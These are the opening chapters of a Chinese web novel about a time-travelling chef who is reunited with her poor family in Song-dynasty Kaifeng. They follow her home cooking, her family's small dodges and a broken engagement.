《大宋市井人家》 1. 第 1 章 《大宋市井人家》全本免费阅读 汴京,穷人居住的炭场巷。 一户人家正在门口哭。 “我的儿!可算找回来了!” 一名妇人双手拍腿嚎哭,差点站不住。 “天杀的拐子!” 一名身穿短襦脚踩草鞋的汉子眼泪鼻涕横流,还不忘扶住妻子。 被他们围在其中的叶盏也在抹眼泪。 她本是一名孤儿,费尽心力成为了大厨,找食材路上发生意外穿越。 穿越后她在一户富人家当婢女,刚熟悉了环境没几天。 谁知前天忽然接到消息,原来自己是被拐卖的! 拐她的拐子不长眼拐了长公主之女,归案后倒出了许多陈年旧案,她就是苦主之一。 刚才听说叶家人变卖家财多年来从未停止过寻找女儿,如今见面更是抱住她大哭,孤儿出身的叶盏深受感触。 她穿越过来时原身已病死,思及他们骨肉分离,再念起自己从无家人,顿时眼泪涟涟。 “多谢差爷!” 亲娘哭着哭着忽然想起什么,拿起手帕擦了泪,麻利起身去倒水, “冷遇您了,我来点茶与两位用些。” 两位衙差摆摆手:“不便叨扰,我们得听上官的。” 几人看过去,这才看见一位少年宝塔样矗立不远处。 他身穿绯宝相花衫,外罩铁甲, 阳光下银光反射似千点寒霜,一条大红勒帛将劲腰勒得分明,肩宽腰窄。 叶盏在心底赞叹一句:好精神一少年。 见诸人看过来,那少年客气点点头: “我们金吾司协助办案,算不得上官,两位自便。” 叶盏在心里哦了一声, 大户人家婢女生涯让她多了点见识,知道金吾司是御前亲兵, 想必是小县主丢了所以才让天子近兵出面寻找。 亲娘宓凤娘可不管那个,先赞叹“官爷好派头。” 又是拿六安茶出来待客,一边吆喝丈夫去巷口买荔枝膏、水鹅梨。 “两位客气。”那位金吾卫拦住宓凤娘,“公务在身,不便叨扰。” 说着一个眼神就示意几人要走。 宓凤娘赶紧扯了丈夫一把, 两人热情相送:“官爷们就是我家大恩人!以后路过一定要赏脸坐一坐。” 宓凤娘忙中还不忘拉生意:“不知道您三位有无婚配?我可是这条街数得上的媒婆。” 说完后又一拍大腿:“是我糊涂了,官爷们说亲哪里用得上我,是要紫褙子出面的。” 后来叶盏才知道原来宋朝媒婆也分等级, 像她娘这样只打着清凉伞系着裙的媒婆是最底层,给官员说亲的是紫褙子媒婆。 她几句话就恭维到了点子上, 几位官差笑起来,显然很受用, 本不待多说的,也多说了两句:“拐子已归案,长公主找到小县主大为欢喜,几天后旬日要在大相国寺做道场,届时会施舍钱财,你们去府门口候着还能得些赏钱。” 叶大富和宓凤娘笑得更灿烂些。 点头哈腰送走官差这才将女儿往屋里拉:“我的儿,快进门。” 叶盏这才看清楚自己的家。 房舍只有一面墙是砖墙,其余都是木板搭成。 显然这是靠着别人砖瓦房的一面墙搭成的“违章建筑”, 屋舍低矮,进屋得弯腰,要不会被门头磕到, 进了门家具更是破烂: 缺脚的红漆花腿方桌、凳面坑坑洼洼的圆形坐墩、 掉漆的围子榻也不知是哪里捡来的,就算作是床。 房梁上搭了一张粗麻布,垂下来便当做男女隔断。 说是家具,倒像是捡来的破烂。 叶大富不安搓搓手:“这个……比不上旁人家。” 宓凤娘也觑了觑女儿面色,一脸忐忑。 叶盏鼻子有点酸,爹娘行事很是市侩油滑,却仍忐忑担心女儿不喜欢。 因此她努力摆出笑脸:“爹,娘,家里很好,我很中意。” 二老猛地松一口气,拉着女儿的手让她坐下: “就怕你不惯。” 叶盏放下手里拎着的一油纸包点心拆开奉上:“这是我回家前借用府里厨房做得一份点心,爹娘尝尝,也算是弥补我多年未承欢膝下的孝心。” 这句话一说二老再次红了眼眶,应承着从女儿手里接过点心放进嘴里尝尝:“好懂事的孩子,就算你做得不好——” 那另外一个吃字还没出口,二老就双双住了口: 好香! 宓凤娘选的是一份粉红色的酥皮点心,样子精巧,捏成了牡丹花的样子。吃进嘴里之后雪白的酥皮纷纷掉落,入口即化。 云朵一样绵软的口感让人生出无尽享受,而是尝到了点心的滋味。 这是豌豆泥,米黄色的豌豆泥极其绵软,没有任何砂质,应当是过滤搅动过无数次,甜滋滋里还混合着淡淡的徘徊花香。 宓凤娘看了一眼其他点心,牡丹花心露出的馅料是浅粉色,应当是豌豆泥混合了徘徊花馅儿的缘故,这份徘徊花香,冲淡了甜腻感,让整份点心忽然有了灵气,甜而不腻。 叶大富选的是另外一种:焦黄色的酥皮上点了个红点。 吃进嘴里那一刻外头焦黄的酥皮立刻层层绽开,透出里面的鲜香。 他好奇看了看自己咬开的切口——暄软的外皮下面是两层馅料,一层是金黄色的,一层则是松松散散像木屑的东西。 叶盏怕他吃不惯,跟亲爹解释:“那金黄的是咸蛋黄,里面的是我用猪肉做的肉松。” 汴京水系多鸭子多,咸蛋黄不稀罕,可这肉松是什么?叶大富不是爱琢磨的性子,直接咬了下去。 咸蛋黄松松软软,吃起来颗粒感有点沙沙的,不知道怎么处理的,非但没有腥味还满口香气,肥得流油,一股蛋黄油流进嘴里,让人说不出的满足。 而那叫做肉松的东西绝了,有点咸,入口即化,抿一下几乎无影无踪,却留下无尽的浓郁香气。 金黄酥皮、橙色蛋黄、琥珀色肉松,几种颜色不同的食物搭配起来居然如此之香! 这还是放凉状态,叶大富不敢想这点心刚出炉有多香。 可这真是女儿做得吗?两两口子不大敢相信。 他们把剩下点心收起来,跟女儿讲述当年:“当初你生得花儿朵儿一般,小小年纪就如画里的金童玉女,人都说是来咱家享福的。” 或许是因为生得太讨喜,三月三她随家人去汴京城游金明池时被拐子掳走了。 邻居们都说“丫头片子寻回来也要费嫁妆钱,丢了也罢。” 可叶家人坚持要寻回女儿,鉴于女儿是在汴京城丢失,甚至全家搬到了汴京方便寻找。 这一搬家就让家里衰落了。 叶家本是汴京郊县的殷实富农, 有几十亩田地一头牛两头驴三间大瓦房,农忙时甚至能雇佣得起佃农。 但到了汴京城,一家人嚼用、寻女费用、再加上被谎称有线索的骗子骗些钱财,家里很快就一穷二白。 全家上下只好自谋出路: 叶大富开起了博卖摊,他浑家帮人说了几次媒便当了媒婆,其余子女更是各处做工,叶家人一边寻些生计过活一边四处打听叶盏消息,很是艰 2. 第 2 章 《大宋市井人家》全本免费阅读 见女儿纳闷,宓凤娘解释两句:“这是交家用哩,每日二十文,酉时定点交。叶家不养闲人。” 爹憨笑着从怀里掏出个口袋:“都给娘子收着。” “今日卖小菜得了九十文,这是二十文。”玉姐揪住荷包脚,“哗”一下就倾倒桌上,“懒得数,娘自己点。” 银哥轻松拎起门口的两个布口袋:“今日救火邻居送了两袋金丝小枣,大约值五十文。全给家里吧。” 小妹有条不紊从腰侧荷包数出二十文:“师傅带我诊病时人家送了一匹尺头,我去卖了,师傅赏了我几个跑腿钱。” 金哥从怀里艰难掏出一把钱:“这是二十文。” 宓凤娘伸手:“还有呢?” 金哥恋恋不舍从怀里又掏了几把,露出痛苦的神情,递上去十几个铜板。 “还有呢?”宓凤娘面不改色。 金哥无奈脱鞋,从鞋里倒出几个铜板。 宓凤娘伸出的手都没缩回去。 金哥从发缝里掏出最后几个铜板,一边哀嚎:“娘!我如今大了,要攒几个私房钱交际!再说兄弟姐妹们怎么不多交钱!” “攒什么攒?!” 宓凤娘给儿子脑瓜狠狠一记, “别学隔壁的赵小七把铜板藏屁股缝里!” 叶盏:…… 赵小七,很遗憾以这种方式认识你。 “不许忤逆你娘。”叶大富教训儿子, “每人须得交20文吃饭赁房钱不错,可你多余的钱都给了狐朋狗友,不如让你娘替你攒着。” 他一边捏捏儿子衣袖,又捏出几个钱,熟门熟路。 “没了。真没了。”金哥抱头逃窜,“我要是说谎,就变成七十二只雌狗,专门在家门口跟其他人抢屎吃!” 五妹嘀咕:“为啥跟人抢屎啊?不应该是跟其它狗吗?” 宓凤娘麻利把钱塞进了诃子里贴着自己乳肉藏好:“盏盏新来,暂时不用交。” 对此兄弟姐妹们毫无异议。 叶盏想了想,从腰间解下丝绦:“这编制是仿大内样式,能卖个几十文,算是我今天的工钱。” 她当天就明白了为什么全家对钱看得这么重。 汴京城里什么都要钱:烧饭的柴火要花钱买,喝的水要花钱买,就连倒马桶都要花钱! 家里租住的房子应当是全城最便宜的,可仍要三贯钱每月。 京城居,大不易,得赶紧找个营生糊口啊。 叶盏也带了钱财,她把随身带来的包袱放到桌上:“这是我的行囊,娘收起来罢。” 莲花那些丫鬟们都被家人所卖所以不信任家人,嘱咐她观望家人品性再露财, 可叶盏见叶家散尽家财只为寻女,不是那等见义忘利的小人,因此选择了相信家人。 包袱皮落在桌上,发出金属撞击的脆响,打开后更是珠光宝气。 宓凤娘猛地将针线箩筐扣在上头, 叶大富起身跳到门口探头四下打量, 叶银则出了门,抱着熊一样的膀子在门外踱步。 就连最小的叶璃都知道小声警告叶盏:“嘘——” 玉姐儿给妹妹解释:“炭场巷乱着呢,被人盯上给你偷光怎么办?” 叶盏讶然后便深表赞同。 汴京治安虽好,可任何时代都不缺小偷, 她穿越后一直在大家族做丫鬟,却忘了外头险恶。 于是收好东西,跟家人讲讲财物来历: 叶盏服侍的莲花姐姐是个好人,特意寻了机会把叶盏身世讲给府里老太君解闷, 老太君喜欢听这种大团圆的故事,嗟叹两句赏赐了些东西, 手下的太太奶奶们讨好凑趣,也跟着送了些。 因此叶盏得了两匹细布、一个银包金的金马镫戒指、一个银镶红纹石戒指、两套太太们的旧衣服。 几个相熟的大丫鬟也给叶盏送了些东西:几方绣得极精致的汗巾儿和两朵绢花。 其余就是叶盏的衣服和这些年做丫鬟的积蓄了:二两银子。 这二两银子是她十多年的工钱、得的彩头和年节赏赐积攒而成, 由莲花代为保管,莲花非但没贪墨还添了几钱碎银凑了个整数。 宓凤娘迅速对财物做了分配:“银子家里只拿一两,其余戒指和绢布丝帕荷包都算作你的私产。” 一两银子对富贵人家不算什么,可对穷人而言却够嚼用几天了。 一人一天吃喝花20文,一千文够家里花七八天了, 若是在汴京以外的城市还能花更久。 “盏儿愿意怎么花她的私产那是她自己事,其余人不得生事,你们可同意?” 家人自然是同意。 把钱财收进角落的夜壶里,宓凤娘这才吩咐孩子们各自行动给盏儿接风。 叶大富打发玉姐去巷口打一钱猪肉,从门口的大缸里捞出一条干闭瓮菜①, “猪肉炖瓮菜可吃得惯?”宓凤娘想好好做一顿给女儿接风洗尘,“再清蒸条风鱼,买些鲜鲫鱼做配。” “娘,你可别糟蹋了粮食,请隔壁的赵大娘帮忙做吧。”金哥捂着还在发疼的脑袋瓜子连忙阻止,“端午时您做的鲫鱼又腥又多麟,我半年没吃荤都下不去筷子!” “我怎么糟蹋了?”宓凤娘叉腰,横眉冷对忤逆子,“再说了,找人帮忙不得浪费工钱?” “我来吧。”叶盏赶紧出手,“我从前在府里大厨房帮工,会点灶上的活计。” 家人将信将疑,叶盏也不多解释,洗手开始准备。 她将买来的猪肉切片,这块五花肉带肥带瘦,还有好大一块纯肥肉。 若是在现代卖肉顾客肯定不要肥油,但在油脂匮乏的古代可要好好感谢屠夫。 叶盏小心将雪白凝 3. 第 3 章 《大宋市井人家》全本免费阅读 叶大富看着菜不多,咬咬牙爬上房梁解下一条算条巴子①,银哥从外面也买鲫鱼回来了。 叶盏将算条巴子挂回去,再将一兜鲫鱼养在清水里留着下顿吃:“家里日子并不宽裕,若为了我破费叫我良心怎生得安?” 她见陶瓮里有腌制的配盐瓜菽②:“有两个荤菜,再加点咸菜配饭就足够丰盛了。” 配盐瓜菽细细切碎,和米醋一起倒进蒸得软烂的茄子, 再撒上捣成碎末的蒜泥,一起盛放在粗陶碟子里。 金哥出门不知去了哪里,一会回来从怀里摸出个油纸包,里头是两只生鹌子。 叶盏便将鹌鹑拔毛开膛后裹在了泥土埋在灶里,做了个柴火鹌鹑。 空气里咕嘟嘟弥漫着猪肉炖风鱼的香气,叫人忍不住咽了咽口水。 一个风鱼炖五花,一个油渣炒白菘,再加上配盐瓜菽凉拌蒜泥茄子,便是一家八口人的晚饭。 热热闹闹摆了一桌,一家人坐在一起给女儿接风。 说了几句场面话叶大富顿觉心酸,摆摆手捂住脸示意大家吃菜。 大家原本心里都有些发酸,可吃了几口菜却都大为惊讶: 风鱼炖五花炖了许久,筷子一夹就要软烂。 风干鱼特有的风干气息混着五花肉的肥美口感,简直是一绝。 里头的干闭瓮菜和白菘这时候都被炖得软烂, 吃进嘴里满口都是鱼香肉香,想必是长时间炖煮吸饱汤汁的缘故, 咽下去满口留香却又毫无油腻。 菜汤里简单熬进了豆酱做佐料,泡在里面的粉条软乎乎, “吸溜”一口, 满嘴都是五花的香气,鲜香十足。 “这粉条比肉香啊!”叶大富开口,“我要多吃点。” 他嘿嘿一笑,给自己捞了一大筷子粉条。 叶玉摇摇头:“肉多得是,您就别为我们省了。” 叶银默默给爹夹了一筷子肉。 油渣炒白菘也有特点。 炒白菘原本是常见的菜式,可加了油渣后更绝, 猪油渣酥脆可口,有了微微发甜的白菘嫩叶解腻,让人忍不住一筷子接着一筷子。 配盐瓜菽凉拌蒜泥茄子色泽好看,微微粉色的盐瓜菽沾染得凉拌茄子也有淡淡粉色,夏日里看着就让人觉得赏心悦目,胃口大开。 茄子凉拌后裹满蒜泥,配上微微发酸的配盐瓜菽,刺激得人口水横流。 鹌鹑也是油汪汪浸透了,撕下蜜色的肉皮露出内里丰腴多汁的肉质,凑进去吸一口满口油。 一家人吃了个痛快。 叶璃抱着沉甸甸的肚子躺在门口喟叹:“过年都没这么痛快。” 叶盏收拾碗筷的手一停,普通的猪肉炖粉条、咸菜白菜这样的菜式都能说是过年,可见叶家人生活有点困难。 不过既然她回来了,自然要想办法带着叶家人走向富裕生活。 说到她的职业规划,不仅是她,叶家人对她从事什么职业也各有见解。 叶大富劝说女儿跟自己去做博卖, 博卖是什么? 叶大富摆个摊,摊上摆着冠梳、靴鞋、头面首饰。 摊位旁边立根竹竿,竹竿上定着一方梨木圆盘。 射箭能射中其上的飞禽走兽便可拿走摊上的货物, 飞禽走兽中面积最大的大黄狗对应黑陶碗, 最小的天牛则对应摊上最贵的梳子。 梳子是鎏金鸾鸟穿花黄杨木梳,梳背银鎏金,上面雕刻鸾鸟栩栩如生,至少能值五贯。 有那梳子做诱饵,走过路过的顾客们少不得驻足小试牛刀。 然而谁都射不到天牛,偶然射中也是打个滑,惹得喟叹声连连。 叶大富得意洋洋给女儿演示:“那天牛图案上抹了油,加固过,寻常箭头根本射不进来。” 见女儿皱眉,他立刻昂起脖子辩解:“满城都这么干!” 他边看说边整理摊子,摊子其实就是一块布,四角系绳。 叶盏很快就知道了那四角系绳是做什么用的。 “街道司!监市来了!” 有人一声大喊,原本熙熙攘攘的街道边小贩们立刻做鸟兽状散, 叶大富不慌不忙,拉起四角绳子用力一抽,货物便滚落中间成为一个布兜, 他顺顺当当卷起布兜狂奔。 跑了两步又转身来拉女儿“快走!别傻站着!” ? 叶盏在呆愣中被拉起,机械跟着亲爹跑动。 好容易甩脱衙差,叶大富大口喘气:“占了街道巷子的,要打七十大板呢!” 叶盏略微懂点:“不是有表木吗?” 政府在街道两旁设有表木,类似划线的意思,摊贩在表木后经营即可。 “那表木里头的摊子都要给行会交钱,我才不当傻子呢。”叶大富得意洋洋。 好家伙, “所以……这是无证摊贩越界经营?” 前世今生都是良民的叶盏大开眼界。 “不止呢,”叶大富得意洋洋,“博卖也是犯法的。” 原来政府只有固定日子可以博卖: 冬至后开始一直能延续到年后,之后寒食节、清明这样的大节日官府也会放开限制。 其余日子博卖犯法。 据叶大富说,《宋刑统》有令“诸博戏财务者各杖一百,赃重者各依已分,准盗论。” 叶盏用自己所剩不多的古文知识翻译:博卖重罪。 要打一百板子!情节严重者按照盗窃算。 虽然今天跑了, 但万一哪天没跑成被街道司抓住呢? 占道经营七十大板、 违规博卖一百大板, 叶大富快五十的人了哪里经得住170大板? 叶盏捂住了脑门,感觉改造亲爹任重道远。 她苦口婆心劝了半天,叶大富终于决定改换门庭:不博卖了,就单纯卖东西。 当天 4. 第 4 章 《大宋市井人家》全本免费阅读 轰走自投罗网的客人,叶盏苦口婆心劝亲爹:“万一骗到贵人头上,人家揍您该如何是好?” 汴京城里一块砖砸下来都能砸死三个皇亲国胄。 一说这个叶大富不吭声了, 达官显贵拿个把贱民出气,便是开封府府尹都不会管。 叶盏不许爹走上违法犯罪道理:“再说了,这不是害人吗?” “这不算害人。”叶大富很委屈,“客人买得欢喜、我卖得畅意,怎得就害人了?” “那是假货!” “假货,可我卖的就是假货价钱啊!”叶大富更委屈了,“真的青铜鼎最少也得几百两银子,我这才80文,客人又不傻。” “客人会自己骗自个。再说了,您敢对客人说这是假的吗?”叶盏摇头,“您那青铜鼎还在腌臜地泡过呢!” “我以前又没骗过人!这是我第一单生意。”叶大富耷拉着脑袋。 “我这就是瞧着家里多了口人吃饭,想帮衬帮衬嘛。”他一边嘟哝,一边从怀里掏出她的宫绦,“哪能将你的腰带都卖了?我出钱从你娘那里要回来了。” 爹都是为了自己? 叶盏收拾假古董的手一滞, 接过宫绦,舌头舔了舔嘴角, 那些劝导的话也说不出口了:“多谢爹,可您若为了我走上歧途我心里怎么能安?我在想办法张罗正经生意,到时肯定生计不愁。” “还费尽张罗什么生意?”宓凤娘在旁边插嘴。 “如今你爹有摊子,你大哥二姐在酒肆里帮忙,还能时不时带点下酒小菜来。你小妹又投了神婆的缘分,每日里吃喝不愁。” 宓凤娘很满意现在的生活,抿一口小酒, “我的儿,你不然跟我学徒当媒婆,以后我们家也是祖传老店。” 做媒婆? 叶盏正在系宫绦的手一停。 “做媒婆赚钱啊!”宓凤娘掐着指头给女儿算账,“相看时一笔,定亲的谢媒钱,新郎高坐时我去催还能得赏钱,成婚还能拿红包。” 来来回回赏钱拿个不少,一单能赚个两百文,这可是大好事! “我做媒人实自能,全凭两腿走殷勤。利市花常头上戴,喜筵饼锭袖中撑。”宓凤娘咂一口浊酒念着坊间的童谣, 一边好心给女儿传授自己的职业秘密: “里头有诀窍呢!这馋妞就说是嘴大吃四方,胖丫就说是宜男相,和离过的妇人就说她更有风情,保管一说一个准!” “您这……不是撒谎吗?”叶盏瞠目结舌。 “你娘我可全都是实话实话,跟那些骗人的媒婆不同。”宓凤娘替自己辩解,“只是多开解了几句,哪里算做扯谎?” 叶盏还是不想做媒婆:“娘,我不想干这个。” 她自己对婚姻持怀疑态度,怎么可能做好媒婆呢? 再说了,了解叶家之后她萌生了个想法:先把家人从违法犯罪边缘拯救过来。 叶家这职业,媒婆、走卒、时妖、下等衙差,都是下九流里的行当。 古代下九流的名声并不好,被称为“贱民”, 成为贱民也就比做奴婢好一点,除此之外那叫一个凄惨: 路人白眼、街坊歧视、不得科举、婚配时受歧视。 与人发生纠纷官府都会先寻你的麻烦,与良民打官司容易吃亏处罚也更重。 虽然各行只是分工不同无有贵贱, 但在三六九等的古代下九流那就是妥妥的底层,谁都能上来踩你家一脚。 因此叶盏给自己树立的第一个目标:是带全家脱离贱民身份。 其次嘛,就是帮叶家买回失去的田地,带叶家人发家致富。 叶盏没有穿越者“独善其身”的想法, 何况叶家本是殷实的农户人家,为了找叶盏散尽家产才从上等的农户沦落到下九流,她自然要知恩图报。 正思忖着致富之道,却听得有人敲门:“是叶家吗?” “门虚掩着呢,进来说话。”叶大富随口应道。 却听得来人开口:“我就不进去了,你出来我有事商议。” ? 叶家人齐齐起身,宓凤娘和叶大富对视一眼,放下酒盅就往门外走。 门口站着几人: 一名趾高气扬身穿绸缎的中年胖男子,一位穿金戴银的中年妇人,畏畏缩缩肩膀缩到一起,旁边一个打着清凉伞的媒婆,后面跟着两位小厮。 “王四?”叶大富惊喜出声,“好稀罕贵客。” 说着就要上前去拉胖男子胳膊。 却被王四不动声色躲开,神态冷冷, 旁边跟着的小厮先开口:“人称我家家主为王员外。” 叶大富的笑容僵了一僵,却还是拱手笑道:“王员外,许久不见。” 王四傲然颔首,算是见礼。 “原来是稀客啊!” 宓凤娘瞥了一眼他们身后的媒婆,立刻满脸堆笑, “诸位请进门坐,我这就去点茶。” 王员外轻蔑扫视一眼破旧狭小的房屋:“我们在门口便可。” “那也好,门口凉快。”叶大富赔笑,将椅子搬出来放在门口的枣树下,“吹吹凉风。” 宓凤娘跟着 5. 第 5 章 《大宋市井人家》全本免费阅读 姐妹三个探头,就见满脸横肉的王员外正叉着手讲话:“闲话少说,今日我是来退亲的。” “退亲?”叶大富惊讶出声,“咱可是纳采问名纳吉走了一遍,连聘书都供奉过两家祖宗……” “王员外如今家大业大。” 宓凤娘手里的酒盅掼到桌面,还是那副笑嘻嘻的样子, “您要是退亲也不怕人笑话?” “哼,你也不看看你家如今这幅样子。” 王员外冷笑一声, “当初定亲时你家是耕读世家,老大更是在私塾里人人夸奖的神童,说不定还会改换门庭。可如今呢?” 宓凤娘讪讪,刚才的气场顿时消了下去。 “可之前你还说若是孩子寻到就认这门亲事呢。” 叶大富无措摸摸腰带,挤出个笑脸。 “你阖家都是贱民,哪里再能跟我家结亲?” 王员外从鼻孔里嗤了一声。 这话出口叶大富似乎被虫蛰了一样惊了一下, “贱民”两个字戳到了他心坎: “当初若不是我指点你走上康庄道,你不也是贱民?” “算了吧相公。” 一直没存在感的王夫人忽然开口, “孩子既然回来,这门亲事就认下吧。” 却被王四狠狠白了一眼, 她立刻低头,畏畏缩缩缩到一边不敢吱声。 王四狠狠开口:“倒马桶算什么大道?你自己嫌腌臜不干让我干,我还得承你的情?” “你好好说明白了,这肥料购买不是我给你的钱?你的本钱、门路,哪一样不是我搭的桥?”叶大富怒了,“就连当初贱卖给你田地也是看你是亲家面上!” “那也不够我赔进去个儿子!” 王员外冷笑着打断他的话, “我儿读书上进,夫子说科举有望,转眼就要去考状元,哪里还能配一个丫鬟?再说你家全家贱民,以后子孙还要不要抬头?” “‘师爷、衙差、娼妇、升秤、媒婆、走卒、盗、窃、时妖、’九样里你家占了四样!” 王员外轻蔑扫视一圈,掐着指头数, “说不定这盗和窃也免不了。” 说着说着轻蔑打量宓凤娘:“瞧你家姑娘们各个生得好,说不定最后一样暗娼也是……。” 他话音还没落就听宓凤娘大喝一声:“你个剜口割舌的腌臜畜生,我撕烂你的嘴!” 王员外来不及闪避,就觉得眼前一黑, 额角剧烈发痛, 随后有液体从他额头流了下来。 他捂着脑袋尖叫:“血!血!” 声音带着颤抖。 还是王夫人镇定些:“老爷,不是血,是酒。” 王员外这才敢抬头细看捂着脑袋的手, 上面没血, 倒是有酒, 原来宓凤娘一怒之下拿酒盅砸他,里面的残酒流了他一脸。 然而他还没来得及松口气,就听得宓凤娘再骂一声: “今日与你性命相博,你方知老娘我的手段!” 手里还炒着酒壶就要再砸。 “叶大富,管好你浑家!” 王员外惊慌失措求助。 却不料叶大富也拿起扫把要打过来:“打脊老贱人!你算哪条街上的黄狗,来我跟前狂吠?” 他一贯圆滑,此时却气势汹汹、脸颊涨得通红,显然是被气得发狠, 说罢就劈头盖脸打了过来。 不好。 王员外被兜头打了好几下,他龇牙咧嘴高声嚎叫,好容易突围出来扫视一圈, 叶家在死胡同里,要出狭窄的炭场巷只能从屋前过,可叶家两位门神一样占据屋门口, 今日是出不去了! 好汉不吃眼前亏, 他忙换了笑脸,躬身作揖: “两位,是我唐突了,我赔礼道歉。” 那媒婆也跟着做和事佬:“两位都是街坊,真闹大了叶家也落不下好名声。” “放你娘的冷屁!”宓凤娘冷声抢白。 还是王夫人上前给她深深行礼:“宓妹妹,你就看我份上饶他一回。再说你砸他这几下,他额角起好几个大红疙瘩,少说有半月不能见人,也算解气。” 她一脸卑微,又言辞恳切, 让宓凤娘想起从前两家交好时王夫人待她如亲姐妹一般, 再想起街头巷口那些传闻,知道她日子也艰难, 便叹口气:“也罢。” 叶大富抓紧时间狠狠再打两下, 又看了妻子一眼,恋恋不舍放下扫把: “就听我浑家的。” 王员外一看有戏,乐得牙花子呲出来笑:“多谢多谢。” 媒婆也跟着帮腔:“到底是通情达理人家。” 不要钱的好话说了两箩筐,她今日办成这桩退亲,能多拿几十文赏钱呢! 叶大富进了屋,拿出当初的聘书和一方鸳鸯阴阳玉佩,给了宓凤娘。 宓凤娘接过这些东西,叹了口气:“势利也算是人之常情。这些你们拿走。” 正要给他们却听得一声脆生生的女声:“且慢!” 诸人抬起头,却见灶屋里走出一个女孩子。 她高挑身形,鹅蛋脸,五官更是精致,鼻梁高挺,看着就是个美人坯子。 王夫人刚才没看清,这回仔细看却在心里惋惜了一回, 想必这就是叶家的二女儿了。 其实看她长相气质配自己的儿子也算是可以。 刚这么想就对上丈夫的目光,王员外冷哼一声:“怎的?是指望我家收回成意?我家小二如今在进学,以后少不得要中个秀才举人,京中贵人榜下捉婿,说不定郡主公主都尚的!” 还要说下去,就见叶大富晃了晃拳头, 他一个拳头就顶王员外半个头大, 吓得王员外缩了缩脖子不敢造次。 叶盏这才出声:“退亲可以,但你家当初借着亲家便利从我家拿走的礼、低价买回来的田地这些可怎么算?” 这话一出,院中诸人神色各异: 玉姐儿瞪圆了眼睛,她还当妹妹出来是想挽回亲事呢,谁知是提及这个。 叶大富则咧嘴笑:不愧是自己女儿,这一点亏都不吃。 宓凤娘更是积极帮腔:“是啊,这退亲也罢,往日里人情往来的东西要还回来。” 王员外和王夫人瞠目结舌,他们来退亲可没想到还要退钱。 叶大富算起账来很快:“自打定亲,王家从未给叶家送过节礼,叶家却是按时按节都送。这些可都没道理不归还吧?” 宓凤娘也跟着丈夫算账:“每年过年我家都往城里送一袋白面一袋小米,半口袋绿豆,还有两箩筐瓜果。对了,这要按照汴京城里市价算!” “这!?”王员外愣了,“这可是当初你们心甘情愿送的!” “还不是因为我们有结亲这一层关系?怎不见我爹娘给旁人家送?”叶盏开口,丝毫不让分毫,“还是……” 她一笑:“还是您这个儿子四处许人,为的就是沾 6. 第 6 章 《大宋市井人家》全本免费阅读 不过,要用什么途径才能致富呢? 叶盏思忖着:自己在穿越前是个厨子,手上的技艺还在。 大宋经济发达,汴京是当今世界最繁华的都市, 所以古代比较稀缺的猪油、调料在城里也处处可见,不愁没有调料。 宋朝普及了铁锅,炒、煎炸等炒菜方式出现,做现代菜不至于太突兀, 再者,汴京市民有下馆子的习惯, 综上,开一家食肆最好。 打定了主意,叶盏就起身往外面市集上逛了一圈。 这一趟大开眼界。 街面上煎炸炒烹多种烹饪手法都有, 食材也从荔枝到腰子一应俱全, 甜点冰饮火锅川菜①都能寻到, 穿越女最爱三板斧:猪杂下水、卤菜、火锅,在这里全部都有! 市井热闹,到处叫卖各色美食:果脯、蜜饯, 爆米花、汤圆、 馄饨、面条、疙瘩汤, 煎肉、炸货、炒菜。 叶盏看得瞠目结舌。 就连街边小摊也都盘盒器皿讲究,甚至店面还有外卖服务, 想借穿越者的身份崭露头角只怕是难! 叶盏逛完一圈已经放平了心态: 看来不能靠穿越者身份致富了。 制玻璃、找辣椒,对她而言更是难上加难。 脱离了现代工业体系,她的生存能力不一定胜过古人。 思来想去,最后叶盏还是给自己打气: 只要自己放下穿越者的傲慢,将饭食做得精致可口些,想必也能招揽顾客。 想通了这一点,叶盏便专心致志思索做什么。 大酒楼,也就是民间所说“正店”,卖酒需要官方许可,还要大价钱年检,更别提打点各处关系、购置家产花费,据说一天租金便要两贯! 开个小点的脚店,租金一个月15贯,每天就是500文。 “拍户”②更便宜点,但价格从一个月五贯到一贯不等。 还要去“商税院”进行登记,获得官方认可。 看来在古代施展拳脚,也有诸多烦恼。 叶盏决定先摆个流动小摊。 这种流动小摊只要在街道司备个案,经营不占道不过表木就能开张。因此城里百姓有要临时补贴家用的便都做流动摊贩。 主营业务是炒面,客户嘛,就以市井平民为目标群体。 此时大宋已经发明了面条,各种浇头丰盛,不过叶盏转了一圈没有看见炒面。 因此她的小摊主营业务便是——炒面。 当然为了保底,小摊经营汤面和炒面两种,以免客人们吃不惯。 “炒面?”玉姐儿琢磨,“是将面粉炒熟当干粮?” 叶盏莞尔一笑:“你尝尝便知。” 她决定先做给家人们尝尝滋味,毕竟他们更熟悉汴京市民的口味。 白面活成团后手擀成薄薄圆片,再卷起来拿刀切条,切完后单手抖开,撒一把金黄杂粮面便做成了手擀面。 手擀面煮熟后过凉水,冲刷得干净清爽。 白净面条一绺一绺捞在陶盘里整整齐齐,玉姐儿经过忍不住抽了一根送进嘴里:“真香啊!” 被宓凤娘听见,念叨一句:“玉姐儿你这馋病可得改改,小娘子不能嘴馋,不然饶是你亲娘是媒婆都不好给你说亲事……” “嗯嗯。”玉姐儿胡乱应两声,小声问叶盏,眼睛亮晶晶的,“妹妹,这就是炒面?” 妹妹第一天回家做的菜肴那叫一个美味,让她对接下来的菜品充满期待。 “还没呢。”叶盏捞出了水盆里养着的大鲤鱼。 汴京城内水系众多,鱼也便宜,大大小小的码头都有人卖鱼,她在码头上找了位渔翁花费十几文钱买了条鲤鱼。 先把鲤鱼大刀劈成小块,用淀粉上糊煎好,可惜家穷柴火和油要珍惜着用,不然这鲤鱼最好是切块油炸过才香。 玉姐儿在旁绕着锅转圈:“甚时候能吃?” “再等些时候。”叶盏随手将剃掉的鱼骨拿来熬汤,随后准备再次起锅烧油, 她从橱柜翻出上回炼好的猪油:“暧?” 雪白的猪油已然凝固,上面一个大洞,形状正好是油渣模样。 玉姐儿挠挠后脑勺:“是我嘴馋,偷吃了一回。” 叶盏这几天相处已经知道双胞胎姐姐有个嘴巴馋的毛病,抿嘴笑笑,从碗里又夹出一块油渣给她。 玉姐儿眼前一亮,珍而重之送进嘴里,专心致志看叶盏做菜。 叶盏拿勺挖一小勺猪油放进锅里。很快猪油就开始滋滋作响,在乌黑铁锅里慢慢融化成液体。 随后叶盏投入荆芥和紫苏、萝卜籽、蒜苗等开炒, 昂贵的调味料她买不起,只能拿这些调味香料来替代,好在宓凤娘在死胡同的角落捡了不少别人丢弃的陶盆陶缸,里面填满土种满了各种蔬菜。 香料在锅里煸炒后渐渐散发出好闻的气息,玉姐儿吸吸鼻子:“香!” 叶盏又将备好的猪肉末倒进锅里开炒, 